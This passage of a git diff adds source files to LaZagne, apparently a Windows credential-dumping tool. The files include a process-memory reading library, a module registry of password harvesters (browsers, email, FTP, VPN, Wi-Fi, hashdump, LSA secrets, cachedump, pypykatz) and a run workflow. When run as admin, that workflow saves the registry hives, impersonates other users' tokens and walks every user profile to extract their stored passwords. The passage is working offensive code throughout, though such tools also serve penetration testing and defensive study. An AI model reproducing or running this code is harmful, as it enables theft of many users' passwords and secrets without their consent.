windll.kernel32.ReadProcessMemory + +WriteProcessMemory = windll.kernel32.WriteProcessMemory +WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t, POINTER(c_size_t)] +WriteProcessMemory.restype = BOOL + +if sizeof(c_void_p) == 8: + NtWow64ReadVirtualMemory64=None +else: + try: + NtWow64ReadVirtualMemory64 = windll.ntdll.NtWow64ReadVirtualMemory64 + NtWow64ReadVirtualMemory64.argtypes = [HANDLE, c_longlong, LPVOID, c_ulonglong, POINTER(c_ulong)] # NTSTATUS (__stdcall *NtWow64ReadVirtualMemory64)(HANDLE ProcessHandle, PVOID64 BaseAddress, PVOID Buffer, ULONGLONG BufferSize, PULONGLONG NumberOfBytesRead); + NtWow64ReadVirtualMemory64.restype = BOOL + except: + NtWow64ReadVirtualMemory64=None + +VirtualQueryEx = windll.kernel32.VirtualQueryEx +VirtualQueryEx.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION), c_size_t] +VirtualQueryEx.restype = c_size_t + +#VirtualQueryEx64 = windll.kernel32.VirtualQueryEx +#VirtualQueryEx64.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION64), c_size_t] +#VirtualQueryEx64.restype = c_size_t + +PAGE_EXECUTE_READWRITE = 64 +PAGE_EXECUTE_READ = 32 +PAGE_READONLY = 2 +PAGE_READWRITE = 4 +PAGE_NOCACHE = 512 +PAGE_WRITECOMBINE = 1024 +PAGE_GUARD = 256 + +MEM_COMMIT = 4096 +MEM_FREE = 65536 +MEM_RESERVE = 8192 + +UNPROTECTED_DACL_SECURITY_INFORMATION = 536870912 +DACL_SECURITY_INFORMATION = 4 \ No newline at end of file diff --git a/lazagne/config/lib/memorpy/__init__.py b/lazagne/config/lib/memorpy/__init__.py new file mode 100644 index 0000000..853fcea --- /dev/null +++ b/lazagne/config/lib/memorpy/__init__.py @@ -0,0 +1,32 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + + +import logging +logger=logging.getLogger("memorpy") +logger.setLevel(logging.WARNING) +ch = logging.StreamHandler() +ch.setLevel(logging.WARNING) +logger.addHandler(ch) + +import sys +from .MemWorker import * +from .Locator import * +from .Address import * +from .Process import * +from .utils import * +#if sys.platform=="win32": +# from wintools import * #not a necessary dependency, just used for debugging diff --git a/lazagne/config/lib/memorpy/structures.py b/lazagne/config/lib/memorpy/structures.py new file mode 100644 index 0000000..a08c2ee --- /dev/null +++ b/lazagne/config/lib/memorpy/structures.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +import sys +if sys.platform=="win32": + from .WinStructures import * +else: + from .LinStructures import * diff --git a/lazagne/config/lib/memorpy/utils.py b/lazagne/config/lib/memorpy/utils.py new file mode 100644 index 0000000..5b1c58a --- /dev/null +++ b/lazagne/config/lib/memorpy/utils.py @@ -0,0 +1,121 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +import re +import struct + +def re_to_unicode(s): + newstring = '' + for c in s: + newstring += re.escape(c) + '\\x00' + + return newstring + + +def type_unpack(type): + """ return the struct and the len of a particular type """ + type = type.lower() + s = None + l = None + if type == 'short': + s = 'h' + l = 2 + elif type == 'ushort': + s = 'H' + l = 2 + elif type == 'int': + s = 'i' + l = 4 + elif type == 'uint': + s = 'I' + l = 4 + elif type == 'long': + s = 'l' + l = 4 + elif type == 'ulong': + s = 'L' + l = 4 + elif type == 'float': + s = 'f' + l = 4 + elif type == 'double': + s = 'd' + l = 8 + else: + raise TypeError('Unknown type %s' % type) + return ('<' + s, l) + + +def hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'): + """ + function originally from pydbg, modified to display other types + """ + dump = prefix + slice = '' + if ftype != 'bytes': + structtype, structlen = type_unpack(ftype) + for i in range(0, len(data), structlen): + if addr % 16 == 0: + dump += ' ' + for char in slice: + if ord(char) >= 32 and ord(char) <= 126: + dump += char + else: + dump += '.' + + dump += '\n%s%08X: ' % (prefix, addr) + slice = '' + tmpval = 'NaN' + try: + packedval = data[i:i + structlen] + tmpval = struct.unpack(structtype, packedval)[0] + except Exception as e: + print(e) + + if tmpval == 'NaN': + dump += '{:<15} '.format(tmpval) + elif ftype == 'float': + dump += '{:<15.4f} '.format(tmpval) + else: + dump += '{:<15} '.format(tmpval) + addr += structlen + + else: + for byte in data: + if addr % 16 == 0: + dump += ' ' + for char in slice: + if ord(char) >= 32 and ord(char) <= 126: + dump += char + else: + dump += '.' + + dump += '\n%s%08X: ' % (prefix, addr) + slice = '' + dump += '%02X ' % byte + slice += chr(byte) + addr += 1 + + remainder = addr % 16 + if remainder != 0: + dump += ' ' * (16 - remainder) + ' ' + for char in slice: + if ord(char) >= 32 and ord(char) <= 126: + dump += char + else: + dump += '.' + + return dump + '\n' diff --git a/lazagne/config/lib/memorpy/version.py b/lazagne/config/lib/memorpy/version.py new file mode 100644 index 0000000..51b8469 --- /dev/null +++ b/lazagne/config/lib/memorpy/version.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +version=(1,7) +version_string="%s.%s"%version + diff --git a/lazagne/config/lib/memorpy/wintools.py b/lazagne/config/lib/memorpy/wintools.py new file mode 100644 index 0000000..f2bf936 --- /dev/null +++ b/lazagne/config/lib/memorpy/wintools.py @@ -0,0 +1,35 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +from ctypes import windll +import time + +def start_winforeground_daemon(): + import threading + t=threading.Thread(target=window_foreground_loop) + t.daemon=True + t.start() + +def window_foreground_loop(timeout=20): + """ set the windows python console to the foreground (for example when you are working with a fullscreen program) """ + hwnd = windll.kernel32.GetConsoleWindow() + HWND_TOPMOST = -1 + SWP_NOMOVE = 2 + SWP_NOSIZE = 1 + while True: + windll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE) + time.sleep(timeout) + \ No newline at end of file diff --git a/lazagne/config/manage_modules.py b/lazagne/config/manage_modules.py new file mode 100644 index 0000000..b6bc363 --- /dev/null +++ b/lazagne/config/manage_modules.py @@ -0,0 +1,172 @@ +# Browsers +from lazagne.softwares.browsers.chromium_based import chromium_browsers +from lazagne.softwares.browsers.ie import IE +from lazagne.softwares.browsers.mozilla import firefox_browsers +from lazagne.softwares.browsers.ucbrowser import UCBrowser +# Chats +from lazagne.softwares.chats.pidgin import Pidgin +from lazagne.softwares.chats.psi import PSI +from lazagne.softwares.chats.skype import Skype +# Databases +from lazagne.softwares.databases.dbvis import Dbvisualizer +from lazagne.softwares.databases.postgresql import PostgreSQL +from lazagne.softwares.databases.robomongo import Robomongo +from lazagne.softwares.databases.sqldeveloper import SQLDeveloper +from lazagne.softwares.databases.squirrel import Squirrel +# Games +from lazagne.softwares.games.galconfusion import GalconFusion +from lazagne.softwares.games.kalypsomedia import KalypsoMedia +from lazagne.softwares.games.roguestale import RoguesTale +from lazagne.softwares.games.turba import Turba +# Git +from lazagne.softwares.git.gitforwindows import GitForWindows +# Mails +from lazagne.softwares.mails.outlook import Outlook +from lazagne.softwares.mails.thunderbird import Thunderbird +# Maven +from lazagne.softwares.maven.mavenrepositories import MavenRepositories +# Memory +from lazagne.softwares.memory.keepass import Keepass +from lazagne.softwares.memory.memorydump import MemoryDump +# Multimedia +from lazagne.softwares.multimedia.eyecon import EyeCON +# Php +from lazagne.softwares.php.composer import Composer +# Svn +from lazagne.softwares.svn.tortoise import Tortoise +# Sysadmin +from lazagne.softwares.sysadmin.apachedirectorystudio import ApacheDirectoryStudio +from lazagne.softwares.sysadmin.coreftp import CoreFTP +from lazagne.softwares.sysadmin.cyberduck import Cyberduck +from lazagne.softwares.sysadmin.filezilla import Filezilla +from lazagne.softwares.sysadmin.filezillaserver import FilezillaServer +from lazagne.softwares.sysadmin.ftpnavigator import FtpNavigator +from lazagne.softwares.sysadmin.opensshforwindows import OpenSSHForWindows +from lazagne.softwares.sysadmin.openvpn import OpenVPN +from lazagne.softwares.sysadmin.iiscentralcertp import IISCentralCertP +from lazagne.softwares.sysadmin.keepassconfig import KeePassConfig +from lazagne.softwares.sysadmin.iisapppool import IISAppPool +from lazagne.softwares.sysadmin.puttycm import Puttycm +from lazagne.softwares.sysadmin.rdpmanager import RDPManager +from lazagne.softwares.sysadmin.unattended import Unattended +from lazagne.softwares.sysadmin.vnc import Vnc +from lazagne.softwares.sysadmin.winscp import WinSCP +from lazagne.softwares.sysadmin.wsl import Wsl +# Wifi +from lazagne.softwares.wifi.wifi import Wifi +# Windows +from lazagne.softwares.windows.autologon import Autologon +from lazagne.softwares.windows.cachedump import Cachedump +from lazagne.softwares.windows.credman import Credman +from lazagne.softwares.windows.credfiles import CredFiles +from lazagne.softwares.windows.hashdump import Hashdump +from lazagne.softwares.windows.ppypykatz import Pypykatz +from lazagne.softwares.windows.lsa_secrets import LSASecrets +from lazagne.softwares.windows.vault import Vault +from lazagne.softwares.windows.vaultfiles import VaultFiles +from lazagne.softwares.windows.windows import WindowsPassword + + +def get_categories(): + category = { + 'browsers': {'help': 'Web browsers supported'}, + 'chats': {'help': 'Chat clients supported'}, + 'databases': {'help': 'SQL/NoSQL clients supported'}, + 'games': {'help': 'Games etc.'}, + 'git': {'help': 'GIT clients supported'}, + 'mails': {'help': 'Email clients supported'}, + 'maven': {'help': 'Maven java build tool'}, + 'memory': {'help': 'Retrieve passwords from memory'}, + 'multimedia': {'help': 'Multimedia applications, etc'}, + 'php': {'help': 'PHP build tool'}, + 'svn': {'help': 'SVN clients supported'}, + 'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'}, + 'windows': {'help': 'Windows credentials (credential manager, etc.)'}, + 'wifi': {'help': 'Wifi'}, + } + return category + + +def get_modules(): + module_names = [ + + # Browser + IE(), + UCBrowser(), + + # Chats + Pidgin(), + Skype(), + PSI(), + + # Databases + Dbvisualizer(), + Squirrel(), + SQLDeveloper(), + Robomongo(), + PostgreSQL(), + + # games + KalypsoMedia(), + GalconFusion(), + RoguesTale(), + Turba(), + + # Git + GitForWindows(), + + # Mails + Outlook(), + Thunderbird(), + + # Maven + MavenRepositories(), + + # Memory + MemoryDump(), # retrieve browsers and keepass passwords + Keepass(), # should be launched after memory dump + + # Multimedia + EyeCON(), + + # Php + Composer(), + + # SVN + Tortoise(), + + # Sysadmin + ApacheDirectoryStudio(), + CoreFTP(), + Cyberduck(), + Filezilla(), + FilezillaServer(), + FtpNavigator(), + KeePassConfig(), + Puttycm(), + OpenSSHForWindows(), + OpenVPN(), + IISCentralCertP(), + IISAppPool(), + RDPManager(), + Unattended(), + WinSCP(), + Vnc(), + Wsl(), + + # Wifi + Wifi(), + + # Windows + Autologon(), + Pypykatz(), + Cachedump(), + Credman(), + Hashdump(), + LSASecrets(), + CredFiles(), + Vault(), + VaultFiles(), + WindowsPassword(), + ] + return module_names + chromium_browsers + firefox_browsers diff --git a/lazagne/config/module_info.py b/lazagne/config/module_info.py new file mode 100644 index 0000000..2052a26 --- /dev/null +++ b/lazagne/config/module_info.py @@ -0,0 +1,49 @@ +""" +name => Name of a class +category => windows / browsers / etc +options => dictionary + - command + - action + - dest + - help + +ex: ('-s', action='store_true', dest='skype', help='skype') +- options['command'] = '-s' +- options['action'] = 'store_true' +- options['dest'] = 'skype' +- options['help'] = 'skype' +""" + +from lazagne.config.write_output import print_debug + + +class ModuleInfo(object): + + def __init__(self, name, category, options={}, suboptions=[], registry_used=False, winapi_used=False, + system_module=False, dpapi_used=False, only_from_current_user=False): + self.name = name + self.category = category + self.options = { + 'command': '-{name}'.format(name=self.name), + 'action': 'store_true', + 'dest': self.name, + 'help': '{name} passwords'.format(name=self.name) + } + self.suboptions = suboptions + self.registry_used = registry_used + self.system_module = system_module + self.winapi_used = winapi_used + self.dpapi_used = dpapi_used + self.only_from_current_user = only_from_current_user + + def error(self, message): + print_debug('ERROR', message) + + def info(self, message): + print_debug('INFO', message) + + def debug(self, message): + print_debug('DEBUG', message) + + def warning(self, message): + print_debug('WARNING', message) \ No newline at end of file diff --git a/lazagne/config/run.py b/lazagne/config/run.py new file mode 100644 index 0000000..ec1e660 --- /dev/null +++ b/lazagne/config/run.py @@ -0,0 +1,261 @@ +# -*- coding: utf-8 -*- +# !/usr/bin/python +import ctypes +import logging +import sys +import traceback + +from lazagne.config.change_privileges import list_sids, rev2self, impersonate_sid_long_handle +from lazagne.config.users import get_user_list_on_filesystem, set_env_variables, get_username_winapi +from lazagne.config.dpapi_structure import SystemDpapi, are_masterkeys_retrieved +from lazagne.config.execute_cmd import save_hives, delete_hives +from lazagne.config.write_output import print_debug, StandardOutput +from lazagne.config.constant import constant +from lazagne.config.manage_modules import get_categories, get_modules + +# Useful for the Pupy project +# workaround to this error: RuntimeError: maximum recursion depth exceeded while calling a Python object +sys.setrecursionlimit(10000) + + +def create_module_dic(): + if constant.modules_dic: + return constant.modules_dic + + modules = {} + + # Define a dictionary for all modules + for category in get_categories(): + modules[category] = {} + + # Add all modules to the dictionary + for m in get_modules(): + modules[m.category][m.options['dest']] = m + + constant.modules_dic = modules + return modules + + +def run_module(title, module): + """ + Run only one module + """ + try: + constant.st.title_info(title.capitalize()) # print title + pwd_found = module.run() # run the module + constant.st.print_output(title.capitalize(), pwd_found) # print the results + + # Return value - not used but needed + yield True, title.capitalize(), pwd_found + except Exception: + error_message = traceback.format_exc() + print_debug('DEBUG', error_message) + yield False, title.capitalize(), error_message + + +def run_modules(module, subcategories={}, system_module=False): + """ + Run modules inside a category (could be one or multiple modules) + """ + modules_to_launch = [] + + # Launch only a specific module + for i in subcategories: + if subcategories[i] and i in module: + modules_to_launch.append(i) + + # Launch all modules + if not modules_to_launch: + modules_to_launch = module + + for i in modules_to_launch: + # Only current user could access to HKCU registry or use some API that only can be run from the user environment + if not constant.is_current_user: + if module[i].registry_used or module[i].only_from_current_user: + continue + + if system_module ^ module[i].system_module: + continue + + if module[i].winapi_used: + constant.module_to_exec_at_end['winapi'].append({ + 'title': i, + 'module': module[i], + }) + continue + + if module[i].dpapi_used: + constant.module_to_exec_at_end['dpapi'].append({ + 'title': i, + 'module': module[i], + }) + continue + + # Run module + for m in run_module(title=i, module=module[i]): + yield m + + +def run_category(category_selected, subcategories={}, system_module=False): + constant.module_to_exec_at_end = { + "winapi": [], + "dpapi": [], + } + modules = create_module_dic() + categories = [category_selected] if category_selected != 'all' else get_categories() + for category in categories: + for r in run_modules(modules[category], subcategories, system_module): + yield r + + if not system_module: + if constant.is_current_user: + # Modules using Windows API (CryptUnprotectData) can be called from the current session + for module in constant.module_to_exec_at_end.get('winapi', []): + for m in run_module(title=module['title'], module=module['module']): + yield m + + if constant.module_to_exec_at_end.get('dpapi', []): + if are_masterkeys_retrieved(): + for module in constant.module_to_exec_at_end.get('dpapi', []): + for m in run_module(title=module['title'], module=module['module']): + yield m + else: + if constant.module_to_exec_at_end.get('dpapi', []) or constant.module_to_exec_at_end.get('winapi', []): + if are_masterkeys_retrieved(): + # Execute winapi/dpapi modules - winapi decrypt blob using dpapi without calling CryptUnprotectData + for i in ['winapi', 'dpapi']: + for module in constant.module_to_exec_at_end.get(i, []): + for m in run_module(title=module['title'], module=module['module']): + yield m + + +def run_lazagne(category_selected='all', subcategories={}, password=None): + """ + Execution Workflow: + - If admin: + - Execute system modules to retrieve LSA Secrets and user passwords if possible + - These secret could be useful for further decryption (e.g Wifi) + - If a process of another user is launched try to impersone it (impersonating his token) + - TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques + - From our user: + - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) + - Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.) + - If the user password or the dpapi hash is found: + - Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.) + - From all users found on the filesystem (e.g C:\\Users) - Need admin privilege: + - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) + - If the user password or the dpapi hash is found: + - Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.) + + To resume: + - Some passwords (e.g Firefox) could be retrieved from any other user + - CryptUnprotectData can be called only from our current session + - DPAPI Blob can decrypted only if we have the password or the hash of the user + """ + + # Useful if this function is called from another tool + if password: + constant.user_password = password + + if not constant.st: + constant.st = StandardOutput() + + # --------- Execute System modules --------- + if ctypes.windll.shell32.IsUserAnAdmin() != 0: + if save_hives(): + # System modules (hashdump, lsa secrets, etc.) + constant.username = 'SYSTEM' + constant.finalResults = {'User': constant.username} + constant.system_dpapi = SystemDpapi() + + if logging.getLogger().isEnabledFor(logging.INFO): + constant.st.print_user(constant.username) + yield 'User', constant.username + + try: + for r in run_category(category_selected, subcategories, system_module=True): + yield r + except: # Catch all kind of exceptions + pass + finally: + delete_hives() + + constant.stdout_result.append(constant.finalResults) + + # ------ Part used for user impersonation ------ + + constant.is_current_user = True + constant.username = get_username_winapi() + if not constant.username.endswith('$'): + + constant.finalResults = {'User': constant.username} + constant.st.print_user(constant.username) + yield 'User', constant.username + + set_env_variables(user=constant.username) + + for r in run_category(category_selected, subcategories): + yield r + constant.stdout_result.append(constant.finalResults) + + # Check if admin to impersonate + if ctypes.windll.shell32.IsUserAnAdmin() != 0: + + # --------- Impersonation using tokens --------- + + sids = list_sids() + impersonate_users = {} + impersonated_user = [constant.username] + + for sid in sids: + # Not save the current user's SIDs and not impersonate system user + if constant.username != sid[3] and sid[2] != 'S-1-5-18': + impersonate_users.setdefault(sid[3], []).append(sid[2]) + + for user in impersonate_users: + if 'service' in user.lower().strip(): + continue + + # Do not impersonate the same user twice + if user in impersonated_user: + continue + + constant.st.print_user(user) + yield 'User', user + + constant.finalResults = {'User': user} + for sid in impersonate_users[user]: + try: + set_env_variables(user, to_impersonate=True) + if impersonate_sid_long_handle(sid, close=False): + impersonated_user.append(user) + + # Launch module wanted + for r in run_category(category_selected, subcategories): + yield r + + rev2self() + constant.stdout_result.append(constant.finalResults) + break + except Exception: + print_debug('DEBUG', traceback.format_exc()) + + # --------- Impersonation browsing file system --------- + + constant.is_current_user = False + # Ready to check for all users remaining + all_users = get_user_list_on_filesystem(impersonated_user=[constant.username]) + for user in all_users: + # Fix value by default for user environment (APPDATA and USERPROFILE) + set_env_variables(user, to_impersonate=True) + constant.st.print_user(user) + + constant.username = user + constant.finalResults = {'User': user} + yield 'User', user + + # Retrieve passwords that need high privileges + for r in run_category(category_selected, subcategories): + yield r + + constant.stdout_result.append(constant.finalResults) diff --git a/lazagne/config/users.py b/lazagne/config/users.py new file mode 100644 index 0000000..d371baa --- /dev/null +++ b/lazagne/config/users.py @@ -0,0 +1,81 @@ +# -*- coding: utf-8 -*- +# !/usr/bin/python +import os +import ctypes +import sys + +#from lazagne.config.winstructure import get_os_version +from lazagne.config.constant import constant + + +def get_user_list_on_filesystem(impersonated_user=[]): + """ + Get user list to retrieve their passwords + """ + # Check users existing on the system (get only directories) + user_path = u'{drive}:\\Users'.format(drive=constant.drive) + #if float(get_os_version()) < 6: + # user_path = u'{drive}:\\Documents and Settings'.format(drive=constant.drive) + + all_users = [] + if os.path.exists(user_path): + all_users = [filename for filename in os.listdir(user_path) if os.path.isdir(os.path.join(user_path, filename))] + + # Remove default users + for user in ['All Users', 'Default User', 'Default', 'Public', 'desktop.ini']: + if user in all_users: + all_users.remove(user) + + # Removing user that have already been impersonated + for imper_user in impersonated_user: + if imper_user in all_users: + all_users.remove(imper_user) + + return all_users + + +def set_env_variables(user, to_impersonate=False): + # Restore template path + template_path = { + 'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\', + 'USERPROFILE': u'{drive}:\\Users\\{user}\\', + 'HOMEDRIVE': u'{drive}:', + 'HOMEPATH': u'{drive}:\\Users\\{user}', + 'ALLUSERSPROFILE': u'{drive}:\\ProgramData', + 'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\', + 'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local', + } + + constant.profile = template_path + if not to_impersonate: + # Get value from environment variables + for env in constant.profile: + if os.environ.get(env): + try: + constant.profile[env] = os.environ.get(env).decode(sys.getfilesystemencoding()) + except Exception: + constant.profile[env] = os.environ.get(env) + + # Replace "drive" and "user" with the correct values + for env in constant.profile: + constant.profile[env] = constant.profile[env].format(drive=constant.drive, user=user) + + +def get_username_winapi(): + GetUserNameW = ctypes.windll.advapi32.GetUserNameW + GetUserNameW.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.c_uint)] + GetUserNameW.restype = ctypes.c_uint + + _buffer = ctypes.create_unicode_buffer(1) + size = ctypes.c_uint(len(_buffer)) + while not GetUserNameW(_buffer, ctypes.byref(size)): + # WinError.h + # define ERROR_INSUFFICIENT_BUFFER 122L // dderror + if ctypes.GetLastError() == 122: + _buffer = ctypes.create_unicode_buffer(len(_buffer)*2) + size.value = len(_buffer) + + else: + return os.getenv('username') # Unusual error + + return _buffer.value diff --git a/lazagne/config/winstructure.py b/lazagne/config/winstructure.py new file mode 100644 index 0000000..a010f73 --- /dev/null +++ b/lazagne/config/winstructure.py @@ -0,0 +1,715 @@ +# Vault Structure has been taken from mimikatz +from ctypes.wintypes import * +from ctypes import * + +import sys +import os + +try: + import _winreg as winreg +except ImportError: + import winreg + +LPTSTR = LPSTR +LPCTSTR = LPSTR +PHANDLE = POINTER(HANDLE) +HANDLE = LPVOID +LPDWORD = POINTER(DWORD) +PVOID = c_void_p +INVALID_HANDLE_VALUE = c_void_p(-1).value +NTSTATUS = ULONG() +PWSTR = c_wchar_p +LPWSTR = c_wchar_p +PBYTE = POINTER(BYTE) +LPBYTE = POINTER(BYTE) +PSID = PVOID +LONG = c_long +WORD = c_uint16 + +# #############################- Constants ############################## + +# Credential Manager +CRYPTPROTECT_UI_FORBIDDEN = 0x01 +CRED_TYPE_GENERIC = 0x1 +CRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x4 + +# Regedit +HKEY_CURRENT_USER = -2147483647 +HKEY_LOCAL_MACHINE = -2147483646 +KEY_READ = 131097 +KEY_ENUMERATE_SUB_KEYS = 8 +KEY_QUERY_VALUE = 1 + +# custom key to read registry (not from msdn) +ACCESS_READ = KEY_READ | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE + +# Token manipulation +PROCESS_QUERY_INFORMATION = 0x0400 +STANDARD_RIGHTS_REQUIRED = 0x000F0000 +READ_CONTROL = 0x00020000 +STANDARD_RIGHTS_READ = READ_CONTROL +TOKEN_ASSIGN_PRIMARY = 0x0001 +TOKEN_DUPLICATE = 0x0002 +TOKEN_IMPERSONATE = 0x0004 +TOKEN_QUERY = 0x0008 +TOKEN_QUERY_SOURCE = 0x0010 +TOKEN_ADJUST_PRIVILEGES = 0x0020 +TOKEN_ADJUST_GROUPS = 0x0040 +TOKEN_ADJUST_DEFAULT = 0x0080 +TOKEN_ADJUST_SESSIONID = 0x0100 +TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) +tokenprivs = ( + TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | ( + 131072 | 4)) +TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | + TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID) + +SE_DEBUG_PRIVILEGE = 20 + + +# ############################# Structures ############################## + +class CREDENTIAL_ATTRIBUTE(Structure): + _fields_ = [ + ('Keyword', LPSTR), + ('Flags', DWORD), + ('ValueSize', DWORD), + ('Value', LPBYTE) + ] + + +PCREDENTIAL_ATTRIBUTE = POINTER(CREDENTIAL_ATTRIBUTE) + + +class CREDENTIAL(Structure): + _fields_ = [ + ('Flags', DWORD), + ('Type', DWORD), + ('TargetName', LPSTR), + ('Comment', LPSTR), + ('LastWritten', FILETIME), + ('CredentialBlobSize', DWORD), + # ('CredentialBlob', POINTER(BYTE)), + ('CredentialBlob', POINTER(c_char)), + ('Persist', DWORD), + ('AttributeCount', DWORD), + ('Attributes', PCREDENTIAL_ATTRIBUTE), + ('TargetAlias', LPSTR), + ('UserName', LPSTR) + ] + + +PCREDENTIAL = POINTER(CREDENTIAL) + + +class DATA_BLOB(Structure): + _fields_ = [ + ('cbData', DWORD), + ('pbData', POINTER(c_char)) + ] + + +class GUID(Structure): + _fields_ = [ + ("data1", DWORD), + ("data2", WORD), + ("data3", WORD), + ("data4", BYTE * 6) + ] + + +LPGUID = POINTER(GUID) + + +class VAULT_CREDENTIAL_ATTRIBUTEW(Structure): + _fields_ = [ + ('keyword', LPWSTR), + ('flags', DWORD), + ('badAlign', DWORD), + ('valueSize', DWORD), + ('value', LPBYTE), + ] + + +PVAULT_CREDENTIAL_ATTRIBUTEW = POINTER(VAULT_CREDENTIAL_ATTRIBUTEW) + + +class VAULT_BYTE_BUFFER(Structure): + _fields_ = [ + ('length', DWORD), + ('value', PBYTE), + ] + + +class DATA(Structure): + _fields_ = [ + # ('boolean', BOOL), + # ('short', SHORT), + # ('unsignedShort', WORD), + # ('int', LONG), + # ('unsignedInt', ULONG), + # ('double', DOUBLE), + ('guid', GUID), + ('string', LPWSTR), + ('byteArray', VAULT_BYTE_BUFFER), + ('protectedArray', VAULT_BYTE_BUFFER), + ('attribute', PVAULT_CREDENTIAL_ATTRIBUTEW), + # ('Sid', PSID) + ('sid', DWORD) + ] + + +class Flag(Structure): + _fields_ = [ + ('0x00', DWORD), + ('0x01', DWORD), + ('0x02', DWORD), + ('0x03', DWORD), + ('0x04', DWORD), + ('0x05', DWORD), + ('0x06', DWORD), + ('0x07', DWORD), + ('0x08', DWORD), + ('0x09', DWORD), + ('0x0a', DWORD), + ('0x0b', DWORD), + ('0x0c', DWORD), + ('0x0d', DWORD) + ] + + +class VAULT_ITEM_DATA(Structure): + _fields_ = [ + # ('schemaElementId', DWORD), + # ('unk0', DWORD), + # ('Type', DWORD), + # ('unk1', DWORD), + ('data', DATA), + ] + + +PVAULT_ITEM_DATA = POINTER(VAULT_ITEM_DATA) + + +# From https://github.com/gentilkiwi/mimikatz/blob/b008188f9fe5668b5dae80c210290c7efa872ffa/mimikatz/modules/kuhl_m_vault.h#L157 +class VAULT_ITEM_WIN8(Structure): + _fields_ = [ + ('id', GUID), + ('pName', PWSTR), + ('pResource', PVAULT_ITEM_DATA), + ('pUsername', PVAULT_ITEM_DATA), + ('pPassword', PVAULT_ITEM_DATA), + ('pPackageSid', PVAULT_ITEM_DATA), + ('LastWritten', FILETIME), + ('Flags', DWORD), + ('cbProperties', DWORD), + ('Properties', PVAULT_ITEM_DATA), + ] + + +PVAULT_ITEM_WIN8 = POINTER(VAULT_ITEM_WIN8) + + +# From https://github.com/gentilkiwi/mimikatz/blob/b008188f9fe5668b5dae80c210290c7efa872ffa/mimikatz/modules/kuhl_m_vault.h#L145 +class VAULT_ITEM_WIN7(Structure): + _fields_ = [ + ('id', GUID), + ('pName', PWSTR), + ('pResource', PVAULT_ITEM_DATA), + ('pUsername', PVAULT_ITEM_DATA), + ('pPassword', PVAULT_ITEM_DATA), + ('LastWritten', FILETIME), + ('Flags', DWORD), + ('cbProperties', DWORD), + ('Properties', PVAULT_ITEM_DATA), + ] + + +PVAULT_ITEM_WIN7 = POINTER(VAULT_ITEM_WIN7) + +class OSVERSIONINFOEXW(Structure): + _fields_ = [ + ('dwOSVersionInfoSize', c_ulong), + ('dwMajorVersion', c_ulong), + ('dwMinorVersion', c_ulong), + ('dwBuildNumber', c_ulong), + ('dwPlatformId', c_ulong), + ('szCSDVersion', c_wchar * 128), + ('wServicePackMajor', c_ushort), + ('wServicePackMinor', c_ushort), + ('wSuiteMask', c_ushort), + ('wProductType', c_byte), + ('wReserved', c_byte) + ] + + +class CRYPTPROTECT_PROMPTSTRUCT(Structure): + _fields_ = [ + ('cbSize', DWORD), + ('dwPromptFlags', DWORD), + ('hwndApp', HWND), + ('szPrompt', LPCWSTR), + ] + + +PCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT) + + +class LUID(Structure): + _fields_ = [ + ("LowPart", DWORD), + ("HighPart", LONG), + ] + + +PLUID = POINTER(LUID) + + +class SID_AND_ATTRIBUTES(Structure): + _fields_ 